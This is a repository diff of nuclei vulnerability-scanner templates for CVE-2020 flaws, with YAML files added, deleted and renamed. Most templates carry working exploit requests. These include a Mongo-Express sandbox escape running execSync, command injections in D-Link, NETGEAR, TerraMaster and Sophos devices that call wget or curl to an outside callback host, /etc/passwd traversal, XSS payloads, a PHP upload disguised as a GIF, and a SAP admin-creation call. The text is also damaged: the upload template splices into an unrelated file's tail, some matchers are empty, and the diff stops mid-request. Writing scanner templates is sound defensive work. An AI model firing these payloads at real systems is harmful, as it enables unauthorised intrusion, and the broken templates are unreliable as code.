8d737c98d5..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-24391.yaml +++ /dev/null @@ -1,54 +0,0 @@ -id: CVE-2020-24391 - -info: - name: Mongo-Express - Remote Code Execution - author: leovalcante - severity: critical - description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. - reference: - - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/ - - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a - - https://nvd.nist.gov/vuln/detail/CVE-2020-24391 - - https://github.com/mongodb-js/query-parser/issues/16 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-24391 - tags: cve,cve2020,mongo,express,rce,intrusive - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /checkValid HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++ - - - | - GET /public/css/{{randstr}}.css HTTP/1.1 - Host: {{Hostname}} - - req-condition: true - cookie-reuse: true - matchers-condition: and - matchers: - - type: regex - part: body_3 - regex: - - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" - - - type: status - status: - - 200 - - extractors: - - type: regex - regex: - - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" - -# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/cve-2020-24571.yaml b/nuclei-templates/CVE-2020/CVE-2020-24571.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-24571.yaml rename to nuclei-templates/CVE-2020/CVE-2020-24571.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-24912.yaml b/nuclei-templates/CVE-2020/CVE-2020-24912.yaml deleted file mode 100644 index c424e27dbc..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-24912.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2020-24912 - -info: - name: QCube Cross-Site-Scripting - author: pikpikcu - severity: medium - description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users. - reference: - - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03 - - https://github.com/qcubed/qcubed/pull/1320/files - - https://nvd.nist.gov/vuln/detail/CVE-2020-24912 - - http://seclists.org/fulldisclosure/2021/Mar/30 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-24912 - cwe-id: CWE-79 - cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:* - epss-score: 0.00187 - tags: cve,cve2020,qcubed,xss,seclists - metadata: - max-request: 3 - -http: - - method: POST - path: - - "{{BaseURL}}/assets/_core/php/profile.php" - - "{{BaseURL}}/assets/php/profile.php" - - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php" - headers: - Content-Type: application/x-www-form-urlencoded - body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K=" - - matchers-condition: and - matchers: - - - type: word - words: - - "" - part: body - - - type: word - words: - - 'Content-Type: text/html' - part: header - -# Enhanced by mp on 2022/03/24 diff --git a/nuclei-templates/CVE-2020/CVE-2020-25078.yaml b/nuclei-templates/CVE-2020/CVE-2020-25078.yaml new file mode 100644 index 0000000000..16195b1423 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-25078.yaml @@ -0,0 +1,43 @@ +id: CVE-2020-25078 + +info: + name: D-Link DCS-2530L/DCS-2670L - Administrator Password Disclosure + author: pikpikcu + severity: high + description: D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices are vulnerable to password disclosures vulnerabilities because the /config/getuser endpoint allows for remote administrator password disclosure. + reference: + - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180 + - https://twitter.com/Dogonsecurity/status/1273251236167516161 + - https://nvd.nist.gov/vuln/detail/CVE-2020-25078 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-25078 + epss-score: 0.96698 + tags: cve,cve2020,dlink + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/config/getuser?index=0" + + matchers-condition: and + matchers: + - type: word + words: + - "name=" + - "pass=" + condition: and + + - type: word + words: + - "text/plain" + part: header + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/nuclei-templates/CVE-2020/CVE-2020-25223.yaml b/nuclei-templates/CVE-2020/CVE-2020-25223.yaml new file mode 100644 index 0000000000..b8f310742c --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-25223.yaml @@ -0,0 +1,45 @@ +id: CVE-2020-25223 + +info: + name: Sophos UTM Preauth Remote Code Execution + author: gy741 + severity: critical + description: Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11. + reference: + - https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223 + - https://community.sophos.com/b/security-blog/posts/advisory-resolved-rce-in-sg-utm-webadmin-cve-2020-25223 + - https://nvd.nist.gov/vuln/detail/CVE-2020-25223 + - https://community.sophos.com/b/security-blog + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-25223 + tags: cve,cve2020,sophos,rce,oast,unauth + +requests: + - raw: + - | + POST /var HTTP/1.1 + Host: {{Hostname}} + Accept: text/javascript, text/html, application/xml, text/xml, */* + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + X-Requested-With: XMLHttpRequest + X-Prototype-Version: 1.5.1.1 + Content-Type: application/json; charset=UTF-8 + Origin: {{BaseURL}} + Connection: close + Referer: {{BaseURL}} + Sec-Fetch-Dest: empty + Sec-Fetch-Mode: cors + Sec-Fetch-Site: same-origin + + {"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true} + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + +# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-25506.yaml b/nuclei-templates/CVE-2020/CVE-2020-25506.yaml new file mode 100644 index 0000000000..f37aadde01 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-25506.yaml @@ -0,0 +1,51 @@ +id: CVE-2020-25506 + +info: + name: D-Link DNS-320 - Unauthenticated Remote Code Execution + author: gy741 + severity: critical + description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution. + reference: + - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675 + - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-25506 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-25506 + cwe-id: CWE-78 + epss-score: 0.97445 + tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev + metadata: + max-request: 2 + +variables: + useragent: '{{rand_base(6)}}' + +http: + - raw: + - | + POST /cgi-bin/system_mgr.cgi? HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` + + - | + POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: word + part: interactsh_request + words: + - "User-Agent: {{useragent}}" + +# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-25540.yaml b/nuclei-templates/CVE-2020/CVE-2020-25540.yaml deleted file mode 100644 index 09ea481ed3..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-25540.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2020-25540 - -info: - name: ThinkAdmin 6 - Arbitrarily File Read (CVE-2020-25540) - author: geeknik - severity: high - description: ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter. - reference: - - https://www.exploit-db.com/exploits/48812 - - https://github.com/zoujingli/ThinkAdmin/issues/244 - - https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/ - - http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-25540 - cwe-id: CWE-22 - tags: cve,cve2020,thinkadmin,lfi - -requests: - - method: GET - path: - - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2020/CVE-2020-26919.yaml b/nuclei-templates/CVE-2020/CVE-2020-26919.yaml deleted file mode 100644 index f508f3f8b9..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-26919.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2020-26919 - -info: - name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution - author: gy741 - severity: critical - description: NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands. - reference: - - https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/ - - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-26919 - - https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-26919 - epss-score: 0.974 - tags: cve,cve2020,netgear,rce,oast,router,unauth,kev - metadata: - max-request: 1 - -http: - - raw: - - | - POST /login.htm HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd= - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-26948.yaml b/nuclei-templates/CVE-2020/CVE-2020-26948.yaml new file mode 100644 index 0000000000..92f064b05e --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-26948.yaml @@ -0,0 +1,41 @@ +id: CVE-2020-26948 + +info: + name: Emby Server Server-Side Request Forgery + author: dwisiswant0 + severity: critical + description: Emby Server before 4.5.0 allows server-side request forgery (SSRF) via the Items/RemoteSearch/Image ImageURL parameter. + reference: + - https://github.com/btnz-k/emby_ssrf + - https://nvd.nist.gov/vuln/detail/CVE-2020-26948 + - https://github.com/btnz-k/emby_ssrf/blob/master/emby_scan.rb + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-26948 + cwe-id: CWE-918 + cpe: cpe:2.3:a:emby:emby:*:*:*:*:*:*:*:* + epss-score: 0.0284 + tags: cve,cve2020,emby,jellyfin,ssrf + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net" + matchers-condition: and + matchers: + - type: status + status: + - 500 + - type: word + words: + - "Name or service not known" + part: body + - type: word + words: + - "text/plain" + part: header + +# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-27191.yaml b/nuclei-templates/CVE-2020/CVE-2020-27191.yaml deleted file mode 100644 index 27d923704b..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-27191.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2020-27191 - -info: - name: LionWiki <3.2.12 - Local File Inclusion - author: 0x_Akoko - severity: high - description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted strings in the index.php f1 variable, aka local file inclusion. - impact: | - An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data. - remediation: | - Upgrade LionWiki to version 3.2.12 or later to mitigate the LFI vulnerability. - reference: - - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi - - http://lionwiki.0o.cz/index.php?page=Main+page - - https://nvd.nist.gov/vuln/detail/CVE-2020-27191 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-27191 - cwe-id: CWE-22 - epss-score: 0.01572 - epss-percentile: 0.86986 - cpe: cpe:2.3:a:lionwiki:lionwiki:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: lionwiki - product: lionwiki - tags: cve2020,cve,lionwiki,lfi,oss - -http: - - method: GET - path: - - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0:" - - - type: status - status: - - 200 -# digest: 480a00453043022024fd9eabd5990697a1c0d513e268964dba7e4032104e676f2c1516f0d7bf1e6c021f01979b841bd595af2324f5a4beea443729213ab4e816a2f27b4f681dfe71ac:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-27467.yaml b/nuclei-templates/CVE-2020/CVE-2020-27467.yaml deleted file mode 100644 index e6cea59742..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-27467.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2020-27467 - -info: - name: Processwire CMS <2.7.1 - Local File Inclusion - author: 0x_Akoko - severity: high - description: Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php. - impact: | - An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system. - remediation: | - Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability. - reference: - - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire - - https://processwire.com/ - - https://github.com/ceng-yildirim/LFI-processwire - - https://nvd.nist.gov/vuln/detail/CVE-2020-27467 - - https://github.com/ARPSyndicate/cvemon - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-27467 - cwe-id: CWE-22 - epss-score: 0.01056 - epss-percentile: 0.83739 - cpe: cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: processwire - product: processwire - tags: cve,cve2020,processwire,lfi,cms,oss - -http: - - method: GET - path: - - "{{BaseURL}}/index.php?download=/etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 -# digest: 490a00463044022005cc8cc6d259f90bddcc4ab74577e25407c52171a5893d763b5d5ab1dd6159c602204a99b859d07b48c2f47cf2a1a8329315e236c3999217ea353e49076587c74df0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-27735.yaml b/nuclei-templates/CVE-2020/CVE-2020-27735.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-27735.yaml rename to nuclei-templates/CVE-2020/CVE-2020-27735.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-27982.yaml b/nuclei-templates/CVE-2020/CVE-2020-27982.yaml deleted file mode 100644 index 2b7a6b2741..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-27982.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2020-27982 - -info: - name: IceWarp WebMail Reflected XSS - author: madrobot - severity: medium - description: IceWarp 11.4.5.0 allows XSS via the language parameter. - reference: - - https://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html - - http://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html - - https://cxsecurity.com/issue/WLB-2020100161 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-27982 - cwe-id: CWE-79 - tags: cve,cve2020,xss,icewarp - -requests: - - method: GET - path: - - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-28188.yaml b/nuclei-templates/CVE-2020/CVE-2020-28188.yaml new file mode 100644 index 0000000000..ef78a1e202 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-28188.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-28188 + +info: + name: TerraMaster TOS - Unauthenticated Remote Command Execution + author: gy741 + severity: critical + description: TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter. + reference: + - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/ + - https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html + - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-28188 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-28188 + cwe-id: CWE-78 + tags: cve,cve2020,terramaster,rce,oast,mirai,unauth + +requests: + - raw: + - | + GET /include/makecvs.php?Event=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1 + Host: {{Hostname}} + + - | + GET /tos/index.php?explorer/pathList&path=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + +# Enhanced by mp on 2022/03/27 diff --git a/nuclei-templates/CVE-2020/cve-2020-28208.yaml b/nuclei-templates/CVE-2020/CVE-2020-28208.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-28208.yaml rename to nuclei-templates/CVE-2020/CVE-2020-28208.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-28871.yaml b/nuclei-templates/CVE-2020/CVE-2020-28871.yaml new file mode 100644 index 0000000000..1d83410ac0 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-28871.yaml @@ -0,0 +1,51 @@ +id: CVE-2020-28871 + +info: + name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution + author: gy741 + severity: critical + description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr. + reference: + - https://www.exploit-db.com/exploits/48980 + - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-28871 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-28871 + cwe-id: CWE-434 + tags: cve,cve2020,monitorr,rce,oast,unauth + +requests: + - raw: + - | + POST /assets/php/upload.php HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: text/plain, */*; q=0.01 + Connection: close + Accept-Language: en-US,en;q=0.5 + X-Requested-With: XMLHttpRequest + Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745 + Origin: http://{{Hostname}} + Referer: http://{{Hostname}} + + -----------------------------31046105003900160576454225745 + Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php" + Content-Type: image/gif + + GIF89a213213123')" - - "status_code_2 != 401" - condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-3952.yaml b/nuclei-templates/CVE-2020/CVE-2020-3952.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-3952.yaml rename to nuclei-templates/CVE-2020/CVE-2020-3952.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-5405.yaml b/nuclei-templates/CVE-2020/CVE-2020-5405.yaml deleted file mode 100644 index c5398e9a7b..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-5405.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2020-5405 - -info: - name: Spring Cloud Config - Local File Inclusion - author: harshbothra_ - severity: medium - description: Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. - reference: - - https://pivotal.io/security/cve-2020-5405 - - https://nvd.nist.gov/vuln/detail/CVE-2020-5405 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - cvss-score: 6.5 - cve-id: CVE-2020-5405 - cwe-id: CWE-22 - cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - epss-score: 0.00258 - tags: cve,cve2020,lfi,springcloud - metadata: - max-request: 1 - -http: - - method: GET - path: - - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body - -# Enhanced by mp on 2022/07/22 diff --git a/nuclei-templates/CVE-2020/CVE-2020-5410.yaml b/nuclei-templates/CVE-2020/CVE-2020-5410.yaml new file mode 100644 index 0000000000..516b74adf1 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-5410.yaml @@ -0,0 +1,39 @@ +id: CVE-2020-5410 + +info: + name: Spring Cloud Config Server - Local File Inclusion + author: mavericknerd + severity: high + description: Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack. + reference: + - https://tanzu.vmware.com/security/cve-2020-5410 + - https://nvd.nist.gov/vuln/detail/CVE-2020-5410 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-5410 + cwe-id: CWE-22 + cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* + epss-score: 0.9712 + tags: cve,cve2020,lfi,springcloud,config,traversal,kev + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development" + + matchers-condition: and + matchers: + + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/28 diff --git a/nuclei-templates/CVE-2020/CVE-2020-5777.yaml b/nuclei-templates/CVE-2020/CVE-2020-5777.yaml new file mode 100644 index 0000000000..9a29b19c32 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-5777.yaml @@ -0,0 +1,41 @@ +id: CVE-2020-5777 + +info: + name: Magento Mass Importer <0.7.24 - Remote Auth Bypass + author: dwisiswant0 + severity: critical + description: Magento Mass Importer (aka MAGMI) versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure. + reference: + - https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35 + - https://nvd.nist.gov/vuln/detail/CVE-2020-5777 + - https://www.tenable.com/security/research/tra-2020-51 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-5777 + cwe-id: CWE-287 + cpe: cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:* + epss-score: 0.01568 + metadata: + max-request: 1 + shodan-query: http.component:"Magento" + tags: plugin,tenable,cve,cve2020,magmi,magento,auth,bypass + +http: + - raw: + - | + GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1 + Host: {{Hostname}} + Connection: close + + matchers-condition: and + matchers: + - type: word + words: + - "Too many connections" + part: body + - type: status + status: + - 503 + +# Enhanced by mp on 2022/04/28 diff --git a/nuclei-templates/CVE-2020/cve-2020-6171.yaml b/nuclei-templates/CVE-2020/CVE-2020-6171.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-6171.yaml rename to nuclei-templates/CVE-2020/CVE-2020-6171.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-6287.yaml b/nuclei-templates/CVE-2020/CVE-2020-6287.yaml new file mode 100644 index 0000000000..f6c7fa6455 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-6287.yaml @@ -0,0 +1,55 @@ +id: CVE-2020-6287 + +info: + name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition + author: dwisiswant0 + severity: critical + description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system. + reference: + - https://launchpad.support.sap.com/#/notes/2934135 + - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675 + - https://www.onapsis.com/recon-sap-cyber-security-vulnerability + - https://github.com/chipik/SAP_RECON + - https://nvd.nist.gov/vuln/detail/CVE-2020-6287 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2020-6287 + cwe-id: CWE-306 + tags: cve,cve2020,sap + +requests: + - raw: + - | + POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml; charset=UTF-8 + Connection: close + + sap.com/tc~lm~config~contentcontent/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc + 